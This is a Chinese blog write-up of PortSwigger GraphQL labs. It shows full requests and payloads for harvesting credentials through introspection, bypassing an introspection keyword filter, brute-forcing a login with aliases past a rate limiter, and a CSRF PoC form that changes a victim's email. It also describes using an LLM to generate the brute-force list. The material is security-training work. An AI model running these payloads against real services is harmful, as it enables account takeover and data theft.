【技术学习】【WebSec】GraphQL API vulnerabilities

news/2025/2/22 23:31:57/文章来源:https://www.cnblogs.com/wh03ver/p/18654309

目录
  • Lab1:Accessing private GraphQL posts
  • Lab2:Accidental exposure of private GraphQL fields
  • Lab3:Finding a hidden GraphQL endpoint
  • Lab4:Bypassing GraphQL brute force protections
  • Lab5:Performing CSRF exploits over GraphQL
  • Reference

Lab1:Accessing private GraphQL posts

image

在burpsuite 2024版本,在request框里支持graphql请求包的解析,在遇到graphql请求包时,会在传统的PrettyRawHex选项卡旁边会多出一个GraphQL的选项卡。

通过Graphql的introspection查询(burpsuite 2024版,在遇到graphql请求时,在Request框内鼠标右键,弹出的菜单栏第一个选项是GraphQL,选中它后,然后选择Set introspection query,即可将graphql请求体设置成introspection查询),获取该Graphql服务的schema信息,发现该查询的blogPost对象(即"博客文章"对象),存在isPrivatepostPassword这两个字段:
image
然后在查询所有文章信息的时候,抓包,在查询的字段(Field)中,添加isPrivatepostPassword,再重放:
image
如上图,并没有发现题目要求的那个隐藏的文章信息,但是发现这里的文章id,1、2、4、5,没有3,猜测id为3的文章就是我们要找的,于是在根据文章id查询文章信息的查询操作中,我们将查询的变量id指定为3:
image
如上图,可以看到查到了这个隐藏的文章,其isPrivatetrue,还返回了我们要找的postPassword

Lab2:Accidental exposure of private GraphQL fields

image

抓取/graphql/v1端点后,通过burpsuite右键功能GraphQL->Set introspection query进行introspection查询,获取该graphql端点的schema信息。
请求包如下:

POST /graphql/v1 HTTP/2
Host: 0ab8002d04e8c6fb80b671c8006100c7.web-security-academy.net
Cookie: session=NCsppSWY8CR3AqEJLcMM7dc1gf5uENhs
Content-Length: 1404
Sec-Ch-Ua-Platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: application/json
Sec-Ch-Ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
Origin: https://0ab8002d04e8c6fb80b671c8006100c7.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0ab8002d04e8c6fb80b671c8006100c7.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Priority: u=1, i{"query":"query IntrospectionQuery {\n    __schema {\n        queryType {\n            name\n        }\n        mutationType {\n            name\n        }\n        subscriptionType {\n            name\n        }\n        types {\n            ...FullType\n        }\n        directives {\n            name\n            description\n            locations\n            args {\n                ...InputValue\n            }\n        }\n    }\n}\n\nfragment FullType on __Type {\n    kind\n    name\n    description\n    fields(includeDeprecated: true) {\n        name\n        description\n        args {\n            ...InputValue\n        }\n        type {\n            ...TypeRef\n        }\n        isDeprecated\n        deprecationReason\n    }\n    inputFields {\n        ...InputValue\n    }\n    interfaces {\n        ...TypeRef\n    }\n    enumValues(includeDeprecated: true) {\n        name\n        description\n        isDeprecated\n        deprecationReason\n    }\n    possibleTypes {\n        ...TypeRef\n    }\n}\n\nfragment InputValue on __InputValue {\n    name\n    description\n    type {\n        ...TypeRef\n    }\n    defaultValue\n}\n\nfragment TypeRef on __Type {\n    kind\n    name\n    ofType {\n        kind\n        name\n        ofType {\n            kind\n            name\n            ofType {\n                kind\n                name\n            }\n        }\n    }\n}"}

从返回的schema信息中,可以看到query操作中,有getUser这样的操作,它会返回一个User对象,User对象由usernamepassword两个属性组成。
所以我们只要构造一个getUser操作的query请求即可查询我们需要的用户信息。
这里burpsuite给我们提供了一个非常方便的功能,同样位于鼠标右键功能GraphQL->Save GraphQL queries to site map,点击后,就会在Burpsuite的Target->Site map页签下面,看到该站点的graphql所有可用的请求,这里我们可以看到已经帮我们生成了getUser的请求包:

POST /graphql/v1 HTTP/1.1
Host: 0ab8002d04e8c6fb80b671c8006100c7.web-security-academy.net
Cookie: session=NCsppSWY8CR3AqEJLcMM7dc1gf5uENhs
Sec-Ch-Ua-Platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: application/json
Sec-Ch-Ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"
Content-Type: application/json; charset=utf-8
Sec-Ch-Ua-Mobile: ?0
Origin: https://0ab8002d04e8c6fb80b671c8006100c7.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0ab8002d04e8c6fb80b671c8006100c7.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Priority: u=1, i
Content-Length: 117{"query":"query($id: Int!) {\n  getUser(id: $id) {\n    id\n    username\n    password\n  }\n}","variables":{"id":0}}

参数处id改为1,就能查询到administrator用户的信息,响应包如下:

HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 133{"data": {"getUser": {"id": 1,"username": "administrator","password": "7rqrd7xoiuu1m9c2th83"}}
}

使用该密码登录administrator账号后,然后删除carlos账号,即可完成实验。

Lab3:Finding a hidden GraphQL endpoint

题目:
The user management functions for this lab are powered by a hidden GraphQL endpoint. You won't be able to find this endpoint by simply clicking pages in the site. The endpoint also has some defenses against introspection.

To solve the lab, find the hidden endpoint and delete carlos.

如题目所言,页面正常功能请求都没看到graphql的endpoint,于是尝试以下常见的graphql端点url(用burpsuite scanner扫描探测也可以发现graphql endpoint,新建一个live task,扫描规则仅勾选GraphQL相关的即可)

/graphql
/api
/api/graphql
/graphql/api
/graphql/graphql

发现graphql端点url是/api,因为其它的几个都返回404,只有这个返回了:

HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 19"Query not present"

于是加上Content-Type: application/json,进行introspection查询,请求包如下:

GET /api HTTP/2
Host: 0a7700ae0461717c806b532d001800f1.web-security-academy.net
Cookie: session=kyHZVVUlX17459wrUbFQfjl1dGgzLx7e
Cache-Control: max-age=0
Origin: https://0a7700ae0461717c806b532d001800f1.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json
Content-Length: 1404{"query":"query IntrospectionQuery {\n    __schema {\n        queryType {\n            name\n        }\n        mutationType {\n            name\n        }\n        subscriptionType {\n            name\n        }\n        types {\n            ...FullType\n        }\n        directives {\n            name\n            description\n            locations\n            args {\n                ...InputValue\n            }\n        }\n    }\n}\n\nfragment FullType on __Type {\n    kind\n    name\n    description\n    fields(includeDeprecated: true) {\n        name\n        description\n        args {\n            ...InputValue\n        }\n        type {\n            ...TypeRef\n        }\n        isDeprecated\n        deprecationReason\n    }\n    inputFields {\n        ...InputValue\n    }\n    interfaces {\n        ...TypeRef\n    }\n    enumValues(includeDeprecated: true) {\n        name\n        description\n        isDeprecated\n        deprecationReason\n    }\n    possibleTypes {\n        ...TypeRef\n    }\n}\n\nfragment InputValue on __InputValue {\n    name\n    description\n    type {\n        ...TypeRef\n    }\n    defaultValue\n}\n\nfragment TypeRef on __Type {\n    kind\n    name\n    ofType {\n        kind\n        name\n        ofType {\n            kind\n            name\n            ofType {\n                kind\n                name\n            }\n        }\n    }\n}"}

响应包如下:

{"errors": [{"locations": [],"message": "GraphQL introspection is not allowed, but the query contained __schema or __type"}]
}

说明introspection查询被服务端拦截了,有可能是关键字黑名单的形式,此时尝试在__schema {中间加一个换行符\n,即__schema\n {,便可绕过服务端的关键字拦截,返回了schema信息。

于是,同样使用burpsuite的右键功能GraphQL->Save GraphQL queries to site map生成所有操作的请求包,但是由于这里的graphql端点/apiGET请求的,所以burpsuite没有将其识别成GraphQL,所以鼠标右键并没有出现GraphQL这个功能。有个办法可以解决,就是把请求行的GET改成POST,burpsuite就能识别成GraphQL了,然后就可以使用右键功能GraphQL->Save GraphQL queries to site map生成所有操作的请求包了,后面请求的时候再使用GET进行请求即可。

于是,先使用getUser查询遍历到carlos用户的id为3

GET /api HTTP/2
Host: 0a7700ae0461717c806b532d001800f1.web-security-academy.net
Cookie: session=kyHZVVUlX17459wrUbFQfjl1dGgzLx7e
Cache-Control: max-age=0
Origin: https://0a7700ae0461717c806b532d001800f1.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json; charset=utf-8
Content-Length: 103{"query":"query($id: Int!) {\n  getUser(id: $id) {\n    id\n    username\n  }\n}","variables":{"id":3}}

响应包如下:

HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 84{"data": {"getUser": {"id": 3,"username": "carlos"}}
}

然后再使用deleteOrganizationUser操作删除carlos便可完成实验:

GET /api HTTP/2
Host: 0a7700ae0461717c806b532d001800f1.web-security-academy.net
Cookie: session=kyHZVVUlX17459wrUbFQfjl1dGgzLx7e
Cache-Control: max-age=0
Origin: https://0a7700ae0461717c806b532d001800f1.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json; charset=utf-8
Content-Length: 186{"query":"mutation($input: DeleteOrganizationUserInput) {\n  deleteOrganizationUser(input: $input) {\n    user {\n      id\n      username\n    }\n  }\n}","variables":{"input":{"id":3}}}

Lab4:Bypassing GraphQL brute force protections

题目:
The user login mechanism for this lab is powered by a GraphQL API. The API endpoint has a rate limiter that returns an error if it receives too many requests from the same origin in a short space of time.

To solve the lab, brute force the login mechanism to sign in as carlos. Use the list of authentication lab passwords as your password source.

根据题目所言,用户登录依托于graphql的能力,即登录接口是使用的graphql端点。但graphql服务端会对请求频率有限制,目的就是为了防止登录暴破。
但可以利用graphql的Aliases别名特性绕过。

Graphql的Aliases特性可使用一个请求,实现多次相同类型的query/mutation操作。

该实验提供了一个密码字典,见:https://portswigger.net/web-security/authentication/auth-lab-passwords

首先抓取登录请求包:

POST /graphql/v1 HTTP/2
Host: 0af700de04aed2ea8140ca7e0091008f.web-security-academy.net
Cookie: session=83Gla3kEu1Sebfk6BTXBCOU68LEVzWK0
Content-Length: 234
Sec-Ch-Ua-Platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: application/json
Sec-Ch-Ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
Origin: https://0af700de04aed2ea8140ca7e0091008f.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0af700de04aed2ea8140ca7e0091008f.web-security-academy.net/login
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Priority: u=1, i{"query":"\n    mutation login($input: LoginInput!) {\n        login(input: $input) {\n            token\n            success\n        }\n    }","operationName":"login","variables":{"input":{"username":"test1","password":"12345678"}}}

然后切换到burpsuite的GraphQL页签,将Query编辑框的内容改为:

mutation login {bruteforce1:login(input: {username:"test1",password:"12345678"}) {tokensuccess}}

然后将Variables编辑框置空。
然后切换到Pretty页签,请求体如下:

{"query":"\r\n    mutation login {\r\n        bruteforce1:login(input: {username:\"test1\",password:\"12345678\"}) {\r\n            token\r\n            success\r\n        }\r\n    }","operationName":"login"}

重放请求,会正常返回如下内容,说明请求格式修改得没问题:

{"data": {"bruteforce1": {"token": "83Gla3kEu1Sebfk6BTXBCOU68LEVzWK0","success": false}}
}

好了,现在要做的就是按照以下模板,遍历密码字典,生成Aliases需要的字符串即可:

bruteforce$index:login(input: {username:"carlos",password:"$password"}) {tokensuccess}

这里我懒得写脚本了,直接交给大模型来做吧,Prompt如下:

我这里有如下字符串模板:bruteforce$index:login(input: {username:"carlos",password:"$password"}) {tokensuccess}其中,$index和$password是变量,是要数据填充的地方。
现在我有一个密码字典,如下,123456
password
12345678
qwerty
...(省略)...
monitor
monitoring
montana
moon
moscow请你根据上面的字符串模板,遍历密码字典的每一行,将每一行填充到$password,行数就填充到索引变量$index中,生成字符串。

GPT很快就能给你要的:

bruteforce1:login(input: {username:"carlos",password:"123456"}) {tokensuccess}
bruteforce2:login(input: {username:"carlos",password:"password"}) {tokensuccess}
...(省略)...
bruteforce99:login(input: {username:"carlos",password:"moon"}) {tokensuccess}
bruteforce100:login(input: {username:"carlos",password:"moscow"}) {tokensuccess}

将其粘贴到GraphQL请求中即可(Request中切换到GraphQL), 响应包如下:

{"data": {"bruteforce1": {"token": "83Gla3kEu1Sebfk6BTXBCOU68LEVzWK0","success": false},"bruteforce2": {"token": "83Gla3kEu1Sebfk6BTXBCOU68LEVzWK0","success": false},...(省略)...},"bruteforce83": {"token": "8aSADCQr6weSelIHI8Enxzmxa0Tw1L0S","success": true},"bruteforce84": {"token": "8aSADCQr6weSelIHI8Enxzmxa0Tw1L0S","success": false},...(省略)..."bruteforce100": {"token": "8aSADCQr6weSelIHI8Enxzmxa0Tw1L0S","success": false}}
}

可以看到字典的第83个密码就是carlos账号的密码,登录便可完成实验。

Lab5:Performing CSRF exploits over GraphQL

题目:
The user management functions for this lab are powered by a GraphQL endpoint. The endpoint accepts requests with a content-type of x-www-form-urlencoded and is therefore vulnerable to cross-site request forgery (CSRF) attacks.
To solve the lab, craft some HTML that uses a CSRF attack to change the viewer's email address, then upload it to your exploit server.
You can log in to your own account using the following credentials: wiener:peter.

该实验的漏洞点在于服务端未校验Content-Type的类型,接受Content-Type: application/x-www-form-urlencoded类型的请求,导致可被CSRF攻击。
更新当前用户的邮箱地址的原始请求包如下:

POST /graphql/v1 HTTP/2
Host: 0a26001404b41b0e80765d61009f003f.web-security-academy.net
Cookie: session=s2yQULcsyLhaUQoxphbYK4qJxK4AgsZz; session=s2yQULcsyLhaUQoxphbYK4qJxK4AgsZz
Content-Length: 230
Sec-Ch-Ua-Platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: application/json
Sec-Ch-Ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
Origin: https://0a26001404b41b0e80765d61009f003f.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a26001404b41b0e80765d61009f003f.web-security-academy.net/my-account
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Priority: u=1, i{"query":"\n    mutation changeEmail($input: ChangeEmailInput!) {\n        changeEmail(input: $input) {\n            email\n        }\n    }\n","operationName":"changeEmail","variables":{"input":{"email":"evil1@normal-user.net"}}}

修改成form表单的方式,如下:

其实很简单,就是把json的{key:val}形式转换成key=val的形式,结合burpsuite右键功能:Convert Selection->URL->URL-encode key characters 进行url编码。

POST /graphql/v1 HTTP/2
Host: 0a26001404b41b0e80765d61009f003f.web-security-academy.net
Cookie: session=s2yQULcsyLhaUQoxphbYK4qJxK4AgsZz; session=s2yQULcsyLhaUQoxphbYK4qJxK4AgsZz
Content-Length: 234
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: application/json
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9query=%0a++++mutation+changeEmail($input%3a+ChangeEmailInput!){+%0a++++++++changeEmail(input%3a+$input)+{%0a++++++++++++email%0a++++++++}%0a++++}%0a&operationName=changeEmail&variables={"input"%3a{"email"%3a"evil555%40normal-user.net"}}

重放请求发现可行,说明改的没问题。于是使用burpsuite生成CSRF PoC,如下:

<html><!-- CSRF PoC - generated by Burp Suite Professional --><body><form action="https://0a26001404b41b0e80765d61009f003f.web-security-academy.net/graphql/v1" method="POST"><input type="hidden" name="query" value="&#10;&#32;&#32;&#32;&#32;mutation&#32;changeEmail&#40;&#36;input&#58;&#32;ChangeEmailInput&#33;&#41;&#123;&#32;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;changeEmail&#40;input&#58;&#32;&#36;input&#41;&#32;&#123;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;email&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#125;&#10;&#32;&#32;&#32;&#32;&#125;&#10;" /><input type="hidden" name="operationName" value="changeEmail" /><input type="hidden" name="variables" value="&#123;&quot;input&quot;&#58;&#123;&quot;email&quot;&#58;&quot;evil555&#64;normal&#45;user&#46;net&quot;&#125;&#125;" /><input type="submit" value="Submit request" /></form><script>history.pushState('', '', '/');document.forms[0].submit();</script></body>
</html>

将其粘贴到该实验的Exploit Server中,进行托管,然后点击页面下方的Deliver exploit to victim按钮,过一会,victim就会浏览该页面,触发CSRF攻击。

Reference

https://portswigger.net/web-security/graphql
REST in Peace: Abusing GraphQL to Attack Underlying Infrastructure - LevelUp 0x05
GraphQL APIs from bug hunter's perspective by Nikita Stupin
clairvoyance:Obtain GraphQL API schema even if the introspection is disabled
https://github.com/apollographql/apollo-server/issues/3919

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/887804.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

通过MATLAB实现PID控制器,积分分离控制器以及滑模控制器

1.课题概述通过MATLAB实现PID控制器,积分分离控制器以及滑模控制器。通过对比三个算法可知,采用滑模控制算法,其具有最快的收敛性能,较强的鲁棒性,以及较小的超调量。其性能略优于基于积分分离的PID控制器,远优于PID控制器的控制性能。2.系统仿真结果 (完整程序运行后无水…

LDM/SDM

LDM: 把图像VAE进隐空间,Diffusion加噪+UNetCrossAttn去噪,再VAE解码到像素空间输出按照时间t,进行不同程度和类型的去噪,所以加入了time-embedding。 把加入了conditional和未加入conditional的图片线性融合,保证平滑最前面接入resnet,是为了更好地保留中低级特征如边缘…

【漏洞分析】【CTF】Wiz Kubernetes CTF(K8s LAN Party)Writeup

目录入口Challenge 1 - ReconChallenge 2 - Finding NeighboursChallenge 3 - Data Leakage后记Challenge 4 - Bypass BoundariesChallenge 5 - Lateral Movement小结Reference 入口 https://www.k8slanparty.com/ Challenge 1 - Recon这道题的目的是想让你找到隐藏在K8s集群内…

【技术解读】【WebSec】Abusing HTTP hop-by-hop request headers

Abusing HTTP hop-by-hop request headers 这个技术在 2019年入选了 Portswigger 安全社区评选的 top 10 Web hacking techiniques of 2019 的候选名单,尽管最终没有入选 top 10,但个人觉得还是挺有意思的,后来也出现了与之相关的真实世界的漏洞案例,因此值得学习。 什么是…

【漏洞分析】CVE-2024-22243: Spring Framework URL Parsing with Host Validation

漏洞公告漏洞分析 从公告中可知该漏洞关键点在 UriComponentsBuilder 这个类。通过以前的Springboot工程全局搜索可知该类在于spring-web 这个jar包里。于是我们可以diff 下 spring-web 的 5.3.31 和 5.3.32 这两个版本的jar。可以看到,UriComponentsBuilder 类的改动只涉及…

【漏洞分析】CVE-2024-22259: Spring Framework URL Parsing with Host Validation (2nd report)

漏洞公告漏洞分析 这个漏洞本质上跟之前的CVE-2024-22243是同一个问题,且之前官方修复的不完全,导致还是可以被绕过。 这一点,官方在公告里也提到了。 补丁diff下,能看到其实还是url解析的那个正则表达式的修改: //5.3.31的正则: ^(([^:/?#]+):)?(//(([^@/?#]*)@)?(\…

用AOT导出本地dll

记得之前在做医保接口时,经常要调一些C++或delphi写的本地dll(这些dll通常是用来读医保卡之类),这里简单介绍一下用C#生成本地可以直接调用dll,具体做法是通过UnmanagedCallersOnlyAttribute来完成。dll项目文件如下<Project Sdk="Microsoft.NET.Sdk"><…

AOT反射库-AOTReflection

在AOT项目中,使用反射有一些问题,本程序包利用源生成器,按不同的维度,提前获取对应类型的元数据,从而达到平滑使用Reflection部分功能。项目:https://github.com/axzxs2001/AOTReflectionnuget:https://www.nuget.org/packages?q=AOTReflection如下面代码,利用泛型的反…

快乐地在AOT项目中用反射

反射是.NET开发的利器,但对于AOT来说,因为Native编译,所以反射的功能基本在AOT编译的项目中失效。办法总比困难多,这么好的东西不能扔掉,下面是“尽量”可以使用反射的例子,为什么“尽量”,看完下面的案例我们再做说明。在AOT项目中使用反射基本原理:利用源生成器,在b…

10亿数据,如何做迁移?

前言 某次金融系统迁移项目中,原计划8小时完成的用户数据同步迟迟未能完成。 24小时后监控警报显示:由于全表扫描SELECT * FROM users导致源库CPU几乎熔毁,业务系统被迫停机8小时。 这让我深刻领悟到——10亿条数据不能用蛮力搬运,得用巧劲儿递接! 今天这篇文章,跟大家一…

2025.2.21的模拟赛题“糖果”题解

2025.2.21的模拟赛题“糖果”题解为避免混淆,题目中的 \(X\) 在下文中为大写。 称前 \(k-1\) 次操作成为1号操作,第 \(k\) 次(不含)以后的操作称作2号操作 设 \(f_{x,i,j}\) 表示在 \(x\) 的子树中,1号操作做了 \(i\) 次,2号操作做了 \(j\) 次 限制就是\(X\) 到跟的路径不…

【飞书】Zabbix 7.2 告警与飞书机器人深度联动的全流程

midnight, the sound of a phone buzzing wakes you up abruptly. "又是告警!"你猛地从床上坐起,眼睛酸涩地盯着手机屏幕。作为一名运维工程师,这样的场景几乎成了家常便饭。无论是深夜还是清晨,系统故障总能找到你的联系方式,仿佛在提醒你:科技24小时不眠不休…